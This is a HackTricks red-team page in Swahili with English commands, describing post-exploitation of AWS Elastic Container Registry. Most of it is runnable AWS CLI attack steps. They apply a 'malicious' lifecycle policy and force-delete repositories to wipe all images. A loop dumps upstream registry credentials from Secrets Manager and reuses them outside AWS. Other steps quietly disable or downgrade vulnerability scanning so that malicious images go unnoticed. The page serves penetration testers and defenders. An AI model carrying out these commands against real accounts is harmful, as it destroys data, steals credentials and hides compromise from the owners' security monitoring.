AWS - ECR Post Exploitation

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ECR

Kwa maelezo zaidi angalia

AWS - ECR Enum

Login, Pull & Push

bash
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"

Baada ya kupakua images unapaswa kuzikagua kwa ajili ya taarifa nyeti:

Docker Forensics - HackTricks

ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage

Mshambuliaji mwenye ruhusa yoyote ya hizi anaweza kuunda au kubadilisha lifecycle policy ili kufuta images zote katika repository na kisha kufuta ECR repository nzima. Hii itasababisha kupoteza images zote za container zilizohifadhiwa katika repository.

bash
# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

Exfiltrate nywila za registri za upstream kutoka ECR Pull‑Through Cache (PTC)

Ikiwa ECR Pull‑Through Cache imewekwa kwa registries za upstream zilizo na uthibitishaji (Docker Hub, GHCR, ACR, etc.), nywila za upstream zinahifadhiwa katika AWS Secrets Manager kwa kiandishi cha jina kinachotabirika: ecr-pullthroughcache/. Waendeshaji mara kwa mara huwapa ECR admins ruhusa kubwa ya kusoma Secrets Manager, ikiruhusu credential exfiltration na matumizi tena nje ya AWS.

Mahitaji

  • secretsmanager:ListSecrets
  • secretsmanager:GetSecretValue

Orodhesha siri za PTC zinazoweza kuwa mgombea

bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text

Dump secrets zilizogunduliwa na chambua mashamba ya kawaida

bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done

Hiari: thibitisha leaked creds dhidi ya upstream (read‑only login)

bash
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io

Impact

  • Kusoma entry hizi za Secrets Manager kunatoa reusable upstream registry credentials (username/password or token), ambazo zinaweza kutumiwa vibaya nje ya AWS kuvuta private images au kupata repositories za ziada kulingana na upstream permissions.

Registry-level stealth: disable or downgrade scanning via ecr:PutRegistryScanningConfiguration

Mshambuliaji mwenye ruhusa za ngazi ya registry za ECR anaweza kimya kimya kupunguza au kuzima automatic vulnerability scanning kwa repositories zote (ALL) kwa kuweka registry scanning configuration kuwa BASIC bila sheria za scan-on-push. Hii inazuia new image pushes kutochunguzwa kwa njia ya otomatiki, ikificha vulnerable au malicious images.

Requirements

  • ecr:PutRegistryScanningConfiguration
  • ecr:GetRegistryScanningConfiguration
  • ecr:PutImageScanningConfiguration (optional, per‑repo)
  • ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)

Registry-wide downgrade to manual (no auto scans)

bash
REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'

Jaribu na repo na image

bash
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true

Hiari: dhoofisha zaidi katika wigo la repo

bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false

Athari

  • Push mpya za image katika registry hazifanyi scan kiotomatiki, hupunguza mwonekano wa maudhui yaliyo hatarishi au ya maliciozi na kuchelewesha utambuzi hadi scan ya mwongozo itakapofanywa.

Kupunguza ubora wa scanning engine ya registry nzima kupitia ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)

Punguza ubora wa utambuzi wa vulnerabilities katika registry yote kwa kubadilisha BASIC scan engine kutoka default AWS_NATIVE kwenda engine ya legacy CLAIR. Hii haitoi disabled scanning lakini inaweza kubadilisha kwa kiasi matokeo/coverage. Imeunganishwa na configuration ya BASIC registry scanning bila rules ili kufanya scans ziwe za mwongozo pekee.

Mahitaji

  • ecr:PutAccountSetting, ecr:GetAccountSetting
  • (Optional) ecr:PutRegistryScanningConfiguration, ecr:GetRegistryScanningConfiguration

Athari

  • Registry setting BASIC_SCAN_TYPE_VERSION set to CLAIR hivyo BASIC scans zinazofuata zinaendesha na engine iliyopunguzwa. CloudTrail inarekodi API call ya PutAccountSetting.

Hatua

bash
REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks